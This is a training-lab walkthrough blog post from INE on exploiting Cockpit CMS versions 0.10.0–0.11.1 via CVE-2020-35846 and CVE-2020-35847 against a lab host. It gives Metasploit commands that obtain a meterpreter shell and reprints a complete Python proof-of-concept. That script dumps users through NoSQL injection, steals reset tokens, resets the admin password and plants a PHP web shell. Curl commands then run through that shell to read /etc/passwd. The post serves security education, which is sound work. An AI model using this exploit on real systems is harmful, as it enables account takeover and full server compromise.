blog
[CVE-2020-35847 - CVE-202 ...
22 September 22

[CVE-2020-35847 - CVE-2020-35846] Cockpit CMS RCE

Posted byINE
facebooktwitterlinkedin
news-featured

In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Purpose: We are learning how to exploit the Cockpit CMS vulnerable version using the Metasploit Framework and a Python script.

Technical difficulty: Beginner

Introduction

In 2020-2021, a critical vulnerability was uncovered in the Cockpit CMS. The original discovery by Nikita Petrov and Team at Positive Technologies. Cockpit CMS 0.10.0 - 0.11.1 is vulnerable to two CVEs (CVE-2020-35847 and CVE-2020-35846). An attacker can extract the user accounts using NoSQL injection and perform remote code execution on the target.

The vulnerability severity base score is 9.8.

Lab Environment

In this lab environment, the user will access a Kali GUI instance. A vulnerable machine Cockpit CMS deployed on http://demo.ine.local. 

Goal after completing this scenario: Exploit the Cockpit CMS using a Metasploit exploit module and a python POC script.

cockpit_0.png

Tools

The best tools for this lab are:

- Nmap

- Bash Shell

- Metasploit Framework

- Python

Lab Link: https://my.ine.com/INE/courses/ebd09929/cyber-security-vulnerabilities-training-library/lab/146612c8-6f68-4209-968a-50360ff2c691 

cockpit_lab.jpg

What is Apache Cockpit CMS?

The cockpit is a headless CMS with an API-first approach that puts content first. It is designed to simplify the process of publication by separating content management from content consumption on the client side.

The cockpit is focusing just on the back-end work to manage content. Rather than worry about the delivery of content through pages, its goal is to provide structured content across different channels via a simple API.

Key features

  • Manage flexible content models. There are no pre-defined content models. Define the content model yourself.

  • Uncluttered UI. The cockpit offers you a modern and simple user interface.

  • One system, consume it the way you want. Receive your content via a simple API.

Source: https://getcockpit.com/documentation/getting-started

CVE-2020-35846

Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function.

CVE-2020-35847

Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function.

There is an excellent technical analysis blog post by Nikita Petrov https://swarm.ptsecurity.com/rce-cockpit-cms/

One can perform NoSQL injection and extract sensitive information (username and extract password reset tokens). This information is later used to access the admin panel and upload a malicious file (shell.php) to gain complete control of the target server.

The CVE-2020-35846 allows NoSQL injection attack via the Controller/Auth.php check function, and CVE-2020-35847 via the Controller/Auth.php resetpassword function that allows account takeover and remote code execution.

There is a lot of PoCs available to exploit these vulnerabilities. Also a Metasploit module is also available.

Solution

Step 1: Open the lab link to access the Kali machine.

Kali machine

cockpit_1.jpg

Step 2: Check if the provided machine/domain is reachable.

Command

ping -c 4 demo.ine.local

cockpit_2.jpg

The provided machine is reachable, and we also found the target's IP address from it.

Step 3: Check open ports on the machine.

Command

nmap demo.ine.local

cockpit_3.jpg

Port 80 is open.

Step 4: Run the firefox browser and access port 80 to identify the Cockpit CMS version.

URL: http://demo.ine.local

cockpit_4.jpg

Check page source code.

cockpit_4_1.jpg

The web application version is mentioned for the .css and .js files.

Target is running Cockpit CMS 0.10.0

Step 5: Run the Metasploit framework and search for the Cockpit exploit module.

Command

msfconsole -q

search cockpit

A Metasploit module is available to exploit the Cockpit RCE vulnerability.

cockpit_5.jpg

Step 6: Use the module and check all available options.

Cockpit CMS NoSQLi to RCE

This module exploits two NoSQLi vulnerabilities to retrieve the user list, and password reset tokens from the system. Next, the USER is targetted to reset their password. Then a command injection vulnerability is used to execute the payload. While it is possible to upload a payload and execute it, the command injection provides a no disk write method which is more stealthy. Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary vulnerabilities for exploitation.

Source: https://www.rapid7.com/db/modules/exploit/multi/http/cockpit_cms_rce 

Commands

use exploit/multi/http/cockpit_cms_rce

show options

cockpit_6.jpg

Set RHOSTS and LHOST and run the check command to validate the vulnerability. Also, set VERBOSE to true for more details.

Checking attacker machine IP address

Command:

ip addr

cockpit_6_1.jpg

Commands

set RHOSTS demo.ine.local

set LHOST 192.125.204.2

set VERBOSE true

check

cockpit_6_2.jpg

The target appears to be vulnerable.

Exploit the server.

Command:

exploit

cockpit_6_3.jpg

Found the valid username, i.e., admin, but have not received the shell.

Set the USER option in the module to gain the meterpreter session. The module would reset the admin password, and token, then perform RCE to gain the meterpreter session.

Commands:

set USER admin

exploit

getuid

cockpit_6_4.jpg

Received the shell.

Note: If you don't receive a shell, re-run the exploit

Step 7: Read the flag.

Commands:

ls /

cat /flag.txt

cockpit_7.jpg

FLAG: 6ac9e6184ede4c15989f8e62d92960ec

Exploiting Using Python

Step 8: A python code is available to exploit Cockpit CMS RCE vulnerability. Developed by [0z09e](https://github.com/0z09e) .

Exploit Link: https://github.com/0z09e/CVE-2020-35846

Code:

import requests
import json
import re
import random
import string
import urllib
import argparse
import time
def dig_users(session , url):
    found = False
    users = []
    users_data = {
        "user" :   {
            "$func" : "var_dump"
        }
    }
    path = "/auth/requestreset"
    print("[*] Sending request to dump users.")
    users_req = session.post(url + path , json=users_data)
    if "string" in users_req.text:
        raw_users =  re.findall("string.*" , users_req.text)
        [users.append(line.split()[1].replace('\"' , '')) for line in raw_users]
        print(f"[+] Found Users : {users}")
        return users
    else:
        print("[-] Maybe the target isn't vulnerable.")
        quit()
def change_pass(session , url , user ,password , count=0 , reset=True):
    print(f"[+] Changing password of {user}")
    print("[*] Requesting for password reset token")
    request_data = {
        "user" : user
    }
    resetrequest = session.post(url + "/auth/requestreset" , json=request_data)
    if "Invalid address:  (From): root@localhost" in resetrequest.text:
        token_data = {
            "token" : {
                "$func" : "var_dump"
            }
        }
        token_request = session.post(url + "/auth/resetpassword"  , json=token_data)
        token = re.findall("string.*" , token_request.text)[count].split()[1].replace('\"' , "")
        print(f"[+] Found token for user {user} : {token}")
        print(f"[+] Dumping {user}'s data")
        hash_dump_data = {
            "token" : token
        }
        hash_dump_request = session.post(url + "/auth/newpassword" , json=hash_dump_data)
        lines = hash_dump_request.text.split("\n")
        raw_user_data = re.findall('this.user.*' , hash_dump_request.text)[0].split(" = ")
        user_info = json.loads(raw_user_data[1].replace(';' , ''))
        if reset:
            print(f"[+] Username : {user_info.get('user')}")
            print(f"[+] Email : {user_info.get('email')}")
            print(f"[+] Group : {user_info.get('group')}")
            print(f"[+] Hash : {user_info.get('password')}")
            print(f"[*] Resetting {user}'s password.")
            password_reset_data = {
                "token" : token,
                "password" : password
            }
            password_reset_request = session.post(url + "/auth/resetpassword" , json=password_reset_data)
            response = json.loads(password_reset_request.text)
            if response.get("success"):
                print("[+] Password reset succcessful")
                print(f"[+] New password of {user} : {password}")
                deploy_shell(session , url , user , password)
            else:
                print("[-] Can't reset the password.")
                quit()
        else:
            return user_info
    else:
        print("[-] Maybe the target isn't vulnerable.")
        quit()
def deploy_shell(session , url , user , password):
    print(f"[*] Logging in as {user}")
    csrf_request = session.get(url)
    csrf_token = re.findall("csfr.*" , csrf_request.text )[0].split(" : ")[1].replace("\"" , "")
    
    login_data = {
        "auth" : {
            "user" : user,
            "password" : password
        },
        "csfr" : csrf_token
    }
    login_req = session.post(url + "/auth/check" , json=login_data)
    if (json.loads(login_req.text).get("success")):
        print(f"[+] Successfully logged in as {user}")
        file_name = f"{''.join([random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for i in range(6)])}.php"
        create_file_data = {
            "cmd" : "createfile",
            "path" : "/",
            "name" : file_name
        }
        create_file_req = session.post(url + "/media/api" , json=create_file_data)
        if (json.loads(create_file_req.text).get("success")) == 0:
            file_contents_data = {
                "cmd" : "writefile",
                "path" : file_name,
                "content" : "<?php system($_GET['cmd']);?>"
            }
            file_contents_req = session.post(url + "/media/api" , json=file_contents_data)
            if (json.loads(file_contents_req.text).get("success")) == len(file_contents_data.get("content")):
                print(f"[+] Bingoo, File has been deployed successfully : {file_name}")
                time.sleep(1)
                print(f"[+] File's location : {url}/{file_name}")
                print(f"[*] Execution example : {url}/{file_name}?cmd=id")
                print(f'[+] Output : {requests.get(url + "/" + file_name + "?cmd=id").text.rstrip()}')
                print("[+] Good luck for Privilege Escalation :)")
                return file_name
        else:
            print("[-] File deployment failed. Maybe {user} doesn't have the permission to do so. :(")
            quit()
    else:
        print("[-] Login failed, Try Again.")
        quit()
def main():
    parser = argparse.ArgumentParser(description="""
_________                __           .__  __    ___________________ ___________
\_   ___ \  ____   ____ |  | ________ |__|/  |_  \______   \_   ___ \\_   _____/
/    \  \/ /  _ \_/ ___\|  |/ /\____ \|  \   __\  |       _/    \  \/ |    __)_ 
\     \___(  <_> )  \___|    < |  |_> >  ||  |    |    |   \     \____|        \
\n \______  /\____/ \___  >__|_ \|   __/|__||__|    |____|_  /\______  /_______  /
        \/            \/     \/|__|                      \/        \/        \/ 
        Cockpit CMS NoSQL Injection to Remote Code Execution : CVE-2020-35846
        Poc written by : 0z09e (https://github.com/0z09e)""" , formatter_class=argparse.RawTextHelpFormatter)
    parser.add_argument("URL" , help="Target URL. Example : http://10.20.30.40/path/to/cockpit")
    parser.add_argument("--dump_all" , action='store_true' , default=False, help="Dump all the informations about each and every user.(No password will be changed and no shell will be deployed)")
    args = parser.parse_args()
    url = args.URL
    dump_all = args.dump_all
    password = "P@ssw0rd"
    if url[-1] == '/':
        url = url[:-1]
    print(f"[*] Target : {url}")
    session = requests.session()
    users = dig_users(session , url)
    if dump_all:
        users_data = []
        for user in users:
            custom_session = requests.session()
            users_data.append(change_pass(custom_session , url , user , password , count=users.index(user), reset=False))
            custom_session.close()
        print(f"<{'=' * 30} Informations {'=' * 30}>")
        for user_info in users_data:
            print(f"[+] Username : {user_info.get('user')}")
            print(f"[+] Email : {user_info.get('email')}")
            print(f"[+] Group : {user_info.get('group')}")
            print(f"[+] Hash : {user_info.get('password')}")
            print("\n")
            print("<-------------------------------------------------------------------------->")
    else:
        user = users[0]  Changing the 0th user's password
        change_pass(session , url , user  , password ,  count=users.index(user))
if __name__ == "__main__":
    main()

The PoC exploit would upload a PHP shell <?php system($_GET['cmd']);?> and executes id command. Also, one can extract all valid username, token and password hash.

Copy and save the script on the attacker's machine.

Commands:

nano PoC.py

<paste>

cockpit_8.jpg

Running the PoC script

Command:

python3 PoC.py http://demo.ine.local

cockpit_8_1.jpg

The backdoor successfully uploaded and received id command output.

Run curl to execute other commands.

Command:

curl http://demo.ine.local/KvoZfb.php?cmd=cat+/etc/passwd

cockpit_8_2.jpg

Dump all the information about each and every user.

Command:

python3 PoC.py http://demo.ine.local --dump_all

cockpit_8_3.jpg

The python PoC code successfully exploited the target Cockpit CMS application and gained access to the target server via php shell.

Conclusion: 

We have successfully exploited two CVEs (CVE-2020-35846 and CVE-2020-35847) of the Cockpit CMS using the Metasploit Framework and a Python script.  

The Cockpit is a very popular CMS. It has more than 5K starts on Github. 

First, we discovered the admin user by exploiting the blind NoSQL injection flaw in the CMS and compromised the target Cockpit CMS using that user.

References

Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Need training for your entire team?

Schedule a Demo

Hey! Don’t miss anything - subscribe to our newsletter!

© 2022 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo